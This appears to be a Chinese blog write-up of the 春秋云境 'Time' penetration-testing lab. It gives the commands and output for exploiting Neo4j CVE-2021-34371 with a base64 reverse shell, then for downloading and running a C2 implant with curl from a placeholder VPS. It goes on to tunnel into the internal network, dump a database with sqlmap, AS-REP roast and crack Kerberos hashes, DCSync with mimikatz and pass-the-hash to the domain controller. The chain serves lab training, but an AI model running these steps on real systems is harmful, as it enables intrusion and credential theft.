春秋云境-Time

flag01

先用 rustscan 扫一下端口

.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Port scanning: Making networking exciting since... whenever.

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] File limit higher than batch size. Can increase speed by increasing batch size '-b 65435'.
Open 39.100.160.135:22
Open 39.100.160.135:1337
Open 39.100.160.135:7473
Open 39.100.160.135:7474
Open 39.100.160.135:7687
[~] Starting Script(s)
[~] Starting Nmap 7.991 ( https://nmap.org ) at 2026-10-22 13:59 +0800
Initiating Ping Scan at 13:59
Scanning 39.100.160.135 [4 ports]
Completed Ping Scan at 13:59, 0.07s elapsed (1 total hosts)
mass_dns: Using DNS server 10.255.255.254
Initiating Parallel DNS resolution of 1 host. at 13:59
mass_dns: 0.00s 1/1 [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, SY: 0]
Completed Parallel DNS resolution of 1 host. at 13:59, 0.50s elapsed
Initiating SYN Stealth Scan at 13:59
Scanning 39.100.160.135 [5 ports]
Discovered open port 1337/tcp on 39.100.160.135
Discovered open port 7473/tcp on 39.100.160.135
Discovered open port 22/tcp on 39.100.160.135
Discovered open port 7687/tcp on 39.100.160.135
Discovered open port 7474/tcp on 39.100.160.135
Completed SYN Stealth Scan at 13:59, 1.21s elapsed (5 total ports)
Nmap scan report for 39.100.160.135
Host is up, received reset ttl 47 (0.042s latency).
Scanned at 2026-10-22 13:59:39 CST for 1s

PORT     STATE SERVICE REASON
22/tcp   open  ssh     syn-ack ttl 47
1337/tcp open  waste   syn-ack ttl 47
7473/tcp open  rise    syn-ack ttl 47
7474/tcp open  neo4j   syn-ack ttl 47
7687/tcp open  bolt    syn-ack ttl 47

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 1.87 seconds
           Raw packets sent: 12 (504B) | Rcvd: 6 (260B)

7474 存在 neo4j 管理页,可以直接访问

使用默认账密 neo4j / neo4j,改一下默认密码就能进入

可以看见服务版本为 3.4.18

搜索发现 CVE-2021-34371,尝试进行攻击

https://github.com/vulhub/vulhub/blob/master/neo4j/CVE-2021-34371/README.zh-cn.md

自行编译一下,这里的 1337 端口实际是 neo4j shell

mvn -B clean package
java -jar neo4j-cve-2021-34371-rhino-gadget-fatjar.jar rmi://39.100.160.135:1337 "bash -c {echo,reverseShellCommandInBase64}|{base64,-d}|{bash,-i}"

随后上 C2,这台是 linux 64 位机器

cd /tmp
curl http://vps_ip:8888/supershell/compile/download/lin_amd64 -o lin
chmod +x ./lin
./lin

成功上线

/home/neo4j 找到 flag01

cat /home/neo4j/flag01.txt

 ██████████ ██                    
░░░░░██░░░ ░░                     
    ░██     ██ ██████████   █████ 
    ░██    ░██░░██░░██░░██ ██░░░██
    ░██    ░██ ░██ ░██ ░██░███████
    ░██    ░██ ░██ ░██ ░██░██░░░░ 
    ░██    ░██ ███ ░██ ░██░░██████
    ░░     ░░ ░░░  ░░  ░░  ░░░░░░ 


flag01: flag{49759066-b628-4a30-9478-69473e32cd76}

Do you know the authentication process of Kerberos? 
......This will be the key to your progress.

flag02

上线一个 traitor 提权看看

基本的提权提不到,那就先上 fscan 扫一下内网

ip a
chmod +x fscan
./fscan -h 172.22.6.0/24 -np -nobr
┌──────────────────────────────────────────────┐
│    ___                              _        │
│   / _ \     ___  ___ _ __ __ _  ___| | __    │
│  / /_\/____/ __|/ __| '__/ _` |/ __| |/ /    │
│ / /_\\_____\__ \ (__| | | (_| | (__|   <     │
│ \____/     |___/\___|_|  \__,_|\___|_|\_\    │
└──────────────────────────────────────────────┘
      Fscan 2.2.2 (2ede41d 2026-10-01T05:55:05Z)

[*] 服务插件: smtp, rmi, mssql, zookeeper, ssh ... 等36个
[*] 切换到ping命令模式
[*] 172.22.6.12 存活 (协议: ICMP)
[*] 172.22.6.38 存活 (协议: ICMP)
[*] ICMP响应率过低(0.8%),启用TCP补充探测(252个主机)
[*] 172.22.6.25 存活 (协议: TCP)
[*] TCP补充探测发现 1 个存活主机
[*] 参数自适应: Timeout=1000ms, ModuleThread=30, Retry=1, ICMPRate=0.50, PocNum=30
[*] 172.22.6.38:22                 ssh      [Product:OpenSSH ||Version:8.2p1 Ubuntu 4ubuntu0.5] Banner:(SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.5)
[+] SSH服务识别成功: 172.22.6.38:22 - SSH 2.0 (OpenSSH_8.2p1 Ubuntu-4ubuntu0.5)
[*] 172.22.6.12:636               
[+] LDAP 172.22.6.12:636 LDAP
[*] 172.22.6.12:3269              
[+] LDAP 172.22.6.12:3269 LDAP
[*] 172.22.6.12:3268               ldap     [Product:Microsoft Windows Active Directory LDAP] Banner:(0 q d h 0 `0 & currentTime1 20261022071516.0Z0 U subschemaSubentry1 < :CN=Aggreg...)
[+] LDAP 172.22.6.12:3268 LDAP
[*] 172.22.6.12:445                microsoft-ds [Product:Microsoft Windows SMB2] Banner:(SMB@ A F8w/ L n9) c a uX a x `v + l0j <0: + 7 * H * H * H + 7 *0( & $not_defined...)
[-] 插件扫描错误 172.22.6.12:445 - 目标不存在MS17-010漏洞
[+] SMBInfo 172.22.6.12:445 [Windows 10 (Build 14393)] DC-PROGAME SMBv1
[*] 172.22.6.12:389                ldap     [Product:Microsoft Windows Active Directory LDAP] Banner:(0 q d h 0 `0 & currentTime1 20261022071516.0Z0 U subschemaSubentry1 < :CN=Aggreg...)
[+] LDAP 172.22.6.12:389 LDAP
[*] 172.22.6.25:445                microsoft-ds [Product:Microsoft Windows SMB2] Banner:(SMB@ A 3ck\ K _ a x `v + l0j <0: + 7 * H * H * H + 7 *0( & $not_defined_in_RFC41...)
[-] 插件扫描错误 172.22.6.25:445 - 目标可能不支持SMBv1
[+] SMBInfo 172.22.6.25:445 [Windows 10 (Build 17763)] WIN2019 SMBv2
[*] http://172.22.6.12:139         http     [Product:Open Lighting Architecture daemon]
[-] 插件扫描错误 172.22.6.12:139 - 读取SMB Session Setup响应失败: EOF
[*] http://172.22.6.25:139         http     [Product:Open Lighting Architecture daemon]
[*] 172.22.6.12:88                 spark    [Product:Apache Spark]
[*] http://172.22.6.38             http     [Product:Open Lighting Architecture daemon] Banner:(HTTP/1.1 200 OK Date: Thu, 22 Oct 2026 07:15:17 GMT Server: Apache/2.4.41 (Ubunt...)
[*] POC加载完成: 总共487个,成功487个,失败0个
[+] http://172.22.6.38             code:200 len:1531  title:后台登录                 server:Apache/2.4.41 (Ubuntu) [apache-http apache/2.4.41]
[*] 172.22.6.12:3389               ssl      Banner:(c M j P t S[ R Q> ? + C & | ) l+= o & C Y 9 0 0 ^ / G> q ! #0 * H 0"1 0 U DC-PRO...)
[+] RDP 172.22.6.12:3389 [OS:Windows 10, Version 1607/Windows Server 2016, Version 1607, Build:Windows 10.0.14393, Hostname:DC-PROGAME, DNSDomain:xiaorang.lab, FQDN:DC-PROGAME.xiaorang.lab, NetBIOSDomain:XIAORANG]
[+] RDP 172.22.6.12:3389 RDP (Windows 10, Version 1607/Windows Server 2016, Version 1607, DC-PROGAME)
[*] 172.22.6.25:3389               ssl      Banner:(O M j l j> a !# W Op B P ` #H _=.] : ^ ) / 0 0 % = 2U} H v [AP0 * H 0 1 0 U WIN2...)
[+] RDP 172.22.6.25:3389 [OS:Windows Server 2019, Version 1809/Windows 10, Version 1809, Build:Windows 10.0.17763, Hostname:WIN2019, DNSDomain:xiaorang.lab, FQDN:WIN2019.xiaorang.lab, NetBIOSDomain:XIAORANG]
[+] RDP 172.22.6.25:3389 RDP (Windows Server 2019, Version 1809/Windows 10, Version 1809, WIN2019)
[*] 172.22.6.25:135                msrpc    [Product:Microsoft Windows RPC] Banner:(@)
[+] NetInfo 172.22.6.25:135 [WIN2019]
[+] NetInfo 172.22.6.25:135   -> 172.22.6.25
[*] 172.22.6.12:53                 domain   [Product:Simple DNS Plus] Banner:(version bind)
[*] 172.22.6.12:135                msrpc    [Product:Microsoft Windows RPC] Banner:(@)
端口扫描中(900线程) ● 100.0% [==============================] (399/399) 31/s TCP:76/1432                                                                                                                                                                                                                                                              
[完成] 扫描完成: 399/399 (耗时: 13.0s)
[*] 扫描完成,发现 16 个开放端口
[-] 资源耗尽错误 2 次,建议降低线程数(-t)或增加ulimit
[*] 存活主机数: 3
[+] NetInfo 172.22.6.12:135 [DC-PROGAME]
[+] NetInfo 172.22.6.12:135   -> 172.22.6.12
[*] 扫描任务完成,耗时 20.211s,已扫描 33 个目标

12 是域控,38 有一个网页后台服务,25 是一台 Windows Server 2019

上个 agent 把这个网段穿出来

./agent -connect vps_ip:11601 -accept-fingerprint f4aec41ffcca37d382cf6f279f8af371775c2cdcc756344fa42479230669a6d6

logolo-ng 创建 autoroute

随后本机访问一下 38 这台,是一个后台登陆页

使用 post 发送登陆包,可以尝试 sqlmap 探测

sqlmap -u http://172.22.6.38/index.php -data "username=admin&password=*" --dump --batch

dump 出三个表,其中有一个是 flag02,一个是 oa 管理员账密。不过这里登录进去也没东西

flag03 / flag04

还有一个表有很多疑似域用户名

可以保存下来,然后 AS-REP roasting 枚举一下哈希

cut -d ',' -f2 /root/.local/share/sqlmap/output/172.22.6.38/dump/oa_db/oa_users.csv > user.txt

使用 netexec 进行枚举

nxc ldap 172.22.6.12 -u user.txt -p '' --asreproast nxc_asrep.hash

得到两个哈希

LDAP        172.22.6.12     389    DC-PROGAME       $krb5asrep$23$wenshao@xiaorang.lab@XIAORANG.LAB:39f8af828c7e9264a5e42c372038b21a$fff755e1a7800c8959f3e57c03c8646f4a505db988db2923a94e60d29abda3ba17883a96866d519a8cd669d6a1505f7793930954c0baac4bdc106a9eb6e88ec54ad308a70adb2088c1a77222d9d500c716921873a4a40f014801a6524fad31815a88ddbee408bd6e2f9cffdb400c9f270348e9054d8e5f0e722f82ff071a584fcc9b13be470202f239aba6b613a550c4def15b11c4f8106082be0cfe395fcdd66113b7a2598aa59efa6ee0d079d077802b1f7c2136151a309a792a238f72721d9e9a4cd460fe4b0e4d40575ed511cac1833794548a465e9508b24aa6915aeaf77db7a5ff043b626cce22fc4c
LDAP        172.22.6.12     389    DC-PROGAME       $krb5asrep$23$zhangxin@xiaorang.lab@XIAORANG.LAB:a64db8c1cd7a3e443d1656e92667da33$2366c6136b1c8b46c21eb260e7aad07e17b83c4c0e6d44c0b203fd2f37454b2ca9dec8706cab3c6564f61c2eacd9123cbde68bd75b8a5068fa439b0d707bf4c2fed66fc46d59ea954fa2cadc480045eb6b0526fe2c06431114fc0185eefb527f2318aefef3345e327da6e6e0291d76bd3d4d7855bdf200545e61b2b29c8017ee772cd4cd54b66881d3bb09172ffe7916822685d7260c37691f2d6018b2a83effd2838c614ac72b3fdc6239cdfc21a11cc933eb5a4eb9bf3c5033adc4566ddbfa139bc4e8d70548968f7c9ea2b41a5cf553e19d22ebbbe95dd924aab17a3abeee780d45f2b2536e9ad2a4fa7f

随后尝试离线破解密码

echo '$krb5asrep$23$wenshao@xiaorang.lab@XIAORANG.LAB:39f8af828c7e9264a5e42c372038b21a$fff755e1a7800c8959f3e57c03c8646f4a505db988db2923a94e60d29abda3ba17883a96866d519a8cd669d6a1505f7793930954c0baac4bdc106a9eb6e88ec54ad308a70adb2088c1a77222d9d500c716921873a4a40f014801a6524fad31815a88ddbee408bd6e2f9cffdb400c9f270348e9054d8e5f0e722f82ff071a584fcc9b13be470202f239aba6b613a550c4def15b11c4f8106082be0cfe395fcdd66113b7a2598aa59efa6ee0d079d077802b1f7c2136151a309a792a238f72721d9e9a4cd460fe4b0e4d40575ed511cac1833794548a465e9508b24aa6915aeaf77db7a5ff043b626cce22fc4c' > hash.txt
echo '$krb5asrep$23$zhangxin@xiaorang.lab@XIAORANG.LAB:a64db8c1cd7a3e443d1656e92667da33$2366c6136b1c8b46c21eb260e7aad07e17b83c4c0e6d44c0b203fd2f37454b2ca9dec8706cab3c6564f61c2eacd9123cbde68bd75b8a5068fa439b0d707bf4c2fed66fc46d59ea954fa2cadc480045eb6b0526fe2c06431114fc0185eefb527f2318aefef3345e327da6e6e0291d76bd3d4d7855bdf200545e61b2b29c8017ee772cd4cd54b66881d3bb09172ffe7916822685d7260c37691f2d6018b2a83effd2838c614ac72b3fdc6239cdfc21a11cc933eb5a4eb9bf3c5033adc4566ddbfa139bc4e8d70548968f7c9ea2b41a5cf553e19d22ebbbe95dd924aab17a3abeee780d45f2b2536e9ad2a4fa7f' >> hash.txt
hashcat -m 18200 hash.txt rockyou.txt

wenshao@xiaorang.lab hellokitty
zhangxin@xiaorang.lab strawberry

随后就可以尝试 rdp 登录上去了

xfreerdp /u:'xiaorang\wenshao' /p:hellokitty /v:172.22.6.12 /cert:ignore +clipboard /drive:share,/tmp/share

发现域控这台登不上,尝试 25 那台登上了

xfreerdp /u:'xiaorang\wenshao' /p:hellokitty /v:172.22.6.25 /cert:ignore +clipboard /drive:share,/tmp/share

然后上 sharphound 探测一下域环境

.\SharpHound.exe -c All

拉进 bloodhound 分析一下

发现 YUXUN 这个用户 HasSIDHistory 到管理员,可以提权,那么我们下一步是先横向到 YUXUN

我们这台机器对 YUXUN 是 HasSession 的,可以尝试获取,上个 winpeas

发现自动登录留下的凭据,包含 yuxuan 的密码

yuxuan
Yuxuan7QbrgZ3L

rdp 到 yuxuan

xfreerdp /u:'xiaorang\yuxuan' /p:Yuxuan7QbrgZ3L /v:172.22.6.25 /cert:ignore +clipboard /drive:share,/tmp/share

由于 yuxuan 拥有域管的 sid,因此可以他的哈希可以以域管身份来认证,域管默认是可以 DCsync 的,我们可以使用 mimikatz dump 出域管哈希

.\mimikatz.exe "lsadump::dcsync /domain:xiaorang.lab /all /csv" exit

500     Administrator   04d93ffd6f5f6e4490e0de23f240a5e9        512

pth 到域控

impacket-psexec -hashes :04d93ffd6f5f6e4490e0de23f240a5e9 xiaorang.lab/administrator@172.22.6.12

flag03 在 25 这台机子的 administrator

理想的路径应该是用 yuxuan 的账密申请凭据,然后 rdp 进去应该就能直接访问 administrator,不过直接进去 dcsync 好像更简单一点

posted @ 2026-10-25 11:56  xNftrOne  阅读(20)  评论(0)    收藏  举报